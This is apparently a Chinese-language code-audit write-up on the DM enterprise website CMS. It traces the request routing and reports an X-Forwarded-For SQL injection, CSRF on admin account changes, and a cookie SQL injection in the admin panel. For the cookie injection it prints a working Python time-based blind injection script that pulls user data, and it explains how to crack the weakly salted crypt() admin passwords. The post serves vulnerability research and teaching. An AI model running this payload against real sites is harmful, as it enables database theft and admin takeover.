0x00 前言
这套源码已经经历多个版本的变迁,在安全性上也做了很大的改善,此番再次审计最新版本的DM建站系统,倒不是说非要找出个高危漏洞,更重要的是对自己这么长时间学习的一次检验与总结。

0x01 cms简介
这里审计的DM企业建站系统最新版本(v20180307),下载地址:http://down.chinaz.com/soft/37361.htm
DM企业建站系统是由php+mysql开发的一套专门用于中小企业网站建设的开源cms。
可以用来快速建设一个响应式的企业网站( PC,手机,微信都可以访问)。后台操作简单,维护方便。
系统主要特点:
1、模板管理功能,下载后,会有多个模板可选择。
2、可以给每个页面设置SEO关键字,有利于搜索引擎收录。可以给每个页面设置别名,从而是让网页的访问网址更加简洁。
3、后台有布局功能。让页面呈现更加方便。
4、丰富的区块效果
5、通过前台编辑,直接链接到后台。

0x02 cms功能点搜集
下面部分是本文的重点,因此我也会详细解释我是如何进行漏洞挖掘以及代码审计的,其实在安全这块,一个漏洞修补起来或者说识别出来可能非常容易,但是在这之前的挖掘上,很少有人会仔细写这块,看似水到渠成,但是这里的挖掘思路在笔者看来是极其关键的。
安装cms的过程就不说了,这里对照下载地址给的安装步骤一步步来即可。

对于代码审计这块,由于离不了cms所提供的功能,因此我在进行代码审计之前倾向于先搜集这个cms所提供的功能,例如用户注册、留言板、购物等等功能,然后根据相应的功能去进行源代码的审计,这样审计下来不会做太多重复的工作,效率上也能得到提升,慢慢地就形成了自己的审计路子。
安装完第一个可能想到的就是是否存在重装漏洞,那么我们需要看一看install这块是否会判断install文件的存在。

这里可以看到会判断installfile的存在,因此此处没有数据库重装这样的漏洞,继续审计~
之后可能就要搜集页面的功能点,这个应该也比较简单。
随便点击页面,发现页面是纯静态的(http://127.0.0.1/dm/contact.html)
那么可能对页面id这种常见的注入漏洞可以说是不存在的,前台搜集下来发现存在搜索以及留言板这样的功能,那么思路就应该是搜索处或者留言板是否存在sql注入或者xss漏洞。
前台就是这两个功能点,后台的话之前版本存在一个cookie注入,因此这里我们也可以把重点放在后台的认证上来,毕竟出现出过问题,另一个常见的可能就是后台的登录框注入、未授权访问等等。

整理一下,前台潜在的漏洞点就是搜索功能、留言板功能,后台潜在的漏洞点就是登录框注入、cookie的认证问题或是其他未授权访问、CSRF等常见的漏洞,下面我们根据整理出来的功能点进行一一测试。
0x03 cms代码审计
1.搜索功能

这里我搜索的是test”<>,老司机应该都能看出来,这其实就是一个最简单的fuzz语句,来初步看看后台的处理功能

这里可以看到都做了实体化,因此这里可以判断后台应该使用htmlspecialchars或者htmlentities这样的函数来写的,事实上也是如此。
下面进入代码审计时间,在审计之前稍微说下该cms的路由是怎么写的,也就是说是怎么找到最终的函数文件的,后面不再赘述~

这是搜索处的文件search.php,这里很重要的就是$file=’search’,然后包含了indexDM_load.php这个文件,然后我们跟进包含的文件

这里首先会对file做一次htmlentitdm,这个函数是cms自己定义的

看完这个函数,就可以知道前面说的搜索那里不是采用了htmlspecialchars,就是采用了htmlentities函数,这里加上了ENT_QUOTES的属性,也就是对单引号和双引号也进行实体化操作,在先前的版本就是由于没有加上这个属性,导致了诸多注入问题的产生,在该版本这个问题得到了很大的改善!
下面我们回到刚才的路由问题

在indexDM_load.php文件末尾又包含了三个文件,这里当然需要一一去看,同时不要忘了我们传入的参数应该是$file=’search’,重点找找file这个参数最终会引入哪个文件。
根据经验来看,inc基本都是配置文件,因此这里我先看末尾的这个file_inc.php,事实上就写在这个文件里

这里根据代码流程跟着走就是了,file参数不为空,没有ifalias参数,因此最终我们进入到了最下面的判断语句,最终包含的文件也就是file_search.php,整个cms的路由就讲到这里。
这里多说一句,那就是这里的路由寻找是整个cms代码审计的基底,没有这个基底,我们就不可能找到最终的函数文件,或者说先进行路由的寻找,对后面的审计效率都有大大的帮助。

这里可以看到采用了htmlentitdm自己定义的函数,将单引号、双引号、<>等字符都进行了实体化,因此这里搜索功能可以判定不存在漏洞。
2.留言板功能

这里存在留言板功能,说实话,我几乎可以判定这些参数都应该经过了htmlentitdm这个函数的过滤,这就导致了不存在xss、不存在sql注入这类常见的漏洞,但是我想测试的是这里是否会出现调用ip这样的函数,往往这里的函数会缺乏安全性上的考虑,从而出现安全问题。
这里由于采用的静态页面,因此为了寻找真正的提交函数,我才用了burp抓包来辅助寻找。

其实就是想知道到底处理留言板函数的到底是哪个文件,这里其实就是dmpostform.php,然后我们跟进这个文件,对照相应的参数来看看代码是怎么实现的。

这里依旧没有留言板的功能函数,我们按照上面的路由方法去到include目录下进行搜寻,这里file参数加了个前缀formpost_,然后type参数为formblock,那么最终的file参数即为foremost_formblock。

处理留言板的最终文件即为file_foremost_formblock.php文件,这里可能是运气好,出现了之前想要测试的点,那就是getip这个函数,如果这个函数没有经过任何过滤,那么有可能出现xff注入漏洞。在上图中有两个sql语句,里面都出现了ip这样的参数。

这里可以看到getip这个函数,没有任何的过滤,直接可以从X-Forwarded-For里面获取,因此这里我们可以判断存在http头注入漏洞
Poc:

这里我没有加上sleep语句,回应时间是1s

这里加上了sleep语句,并进行了闭合,最终延时为9s
3.后台登录功能
鉴于这里之前出过cookie上的认证问题,这里重点就是cookie的认证方式是否存在漏洞,这里首先还是来看看前台登录框的代码是怎么写的。

这里还是采用了自定义的htmlentitdm函数,对单引号、双引号进行了转义,并且在sql语句中也不是直接进行拼接,需要对单引号进行闭合,因此这里不存在登录框注入这样的安全问题。
下面来看看后台是怎么对cookie进行校验的,这里笔者做的就是看看后台文件是否都包含了一些基础配置文件,然后再从这些配置文件中去查找cookie的相关操作函数,这里后台的基础配置文件为common.inc2010.php

果然这里还是出问题了,这里的usercookie是从cookie参数中取得,也就是这是我们可以控制的参数,其次使用explode函数来进行分割,前半部分赋给参数userid,在之后的sql语句中就对userid进行了查询,这里没有任何的过滤,因此也就出现了cookie注入漏洞。
Poc:

#-*-coding:utf-8-*-
import requests
import time
import string
url="http://127.0.0.1//dm/admindm-adog/mod_common/mod_index.php?lang=cn"
payload=string.lowercase
ans=''
for j in range(1,6):
    for i in payload:
        poc="77' and if(substr((select email from zzz_user limit 0,1),%d,1)='%s',sleep(3),sleep(0)) #-123456" % (j,i)
        #print poc
        cookies=dict(usercookie=poc)
        start_time=time.time()
        s=requests.get(url=url,cookies=cookies)
        end_time=time.time()

        if end_time - start_time >2:
            ans+=i
            print ans
            break
        else:
            continue

这里只获取了用户名,当然获取管理员密码也是可以的,但是这里管理员密码不是常见的MD5,还是来分析下管理员密码到底是怎么生成的!

这里我寻找生成算法的方法是,到添加管理员的地方,然后根据密码那个参数来进行分析,到底经过了哪些参数,又加了哪些盐(salt)。

在修改管理员那里看到了生成算法,采用了php内置的crypt函数,其中salt为预定义变量,这里为00,经过百度后发现这个加密函数返回使用 DES、Blowfish 或 MD5 算法加密的字符串,在主流的MD5网站上是可以破解的,这里我们可以尝试一下。

使用crypt函数来尝试加密字符串‘123456’,salt为00,最终结果为0044EOfKxmlX2
这里看到这个字符串也是可以解密,因此针对DM建站系统所生成的密码,我们也是可以进行破解的。

4.Csrf
这里发现在修改管理员密码或者添加管理员账号时没有token的限制或者referer的认证,因此存在csrf漏洞。

0x04 总结
后面在getshell这块也做了很多尝试,像最简单的文件上传,但是这里采用的是白名单机制,因此不存在任意文件上传,同时找了下shell写入,我在全局进行了file_put_contents函数的搜索,对每一个文件都进行了跟进,仿佛都不能写入shell,最后我发现include目录下存放着一个php文件,文件里执行了将管理员密码重置为admin123的sql语句,但是文件头部设置了函数,不能直接进行访问,想要通过修改file变量来达到调用该文件的目的也无果。
总体来说这套源码在安全性上已经有了很大的改进,加之功能点不足,本身可测试的地方就不是很多,只能就着现有的功能函数去进行代码审计,也发现了一定的问题,写下此篇主要是为那些代码审计有一定基础,但是思路仍不够开阔的人所用,希望能有所帮助~

上述如有不当之处,敬请指出~也欢迎各位师傅一起交流!

源链接

Hacking more

...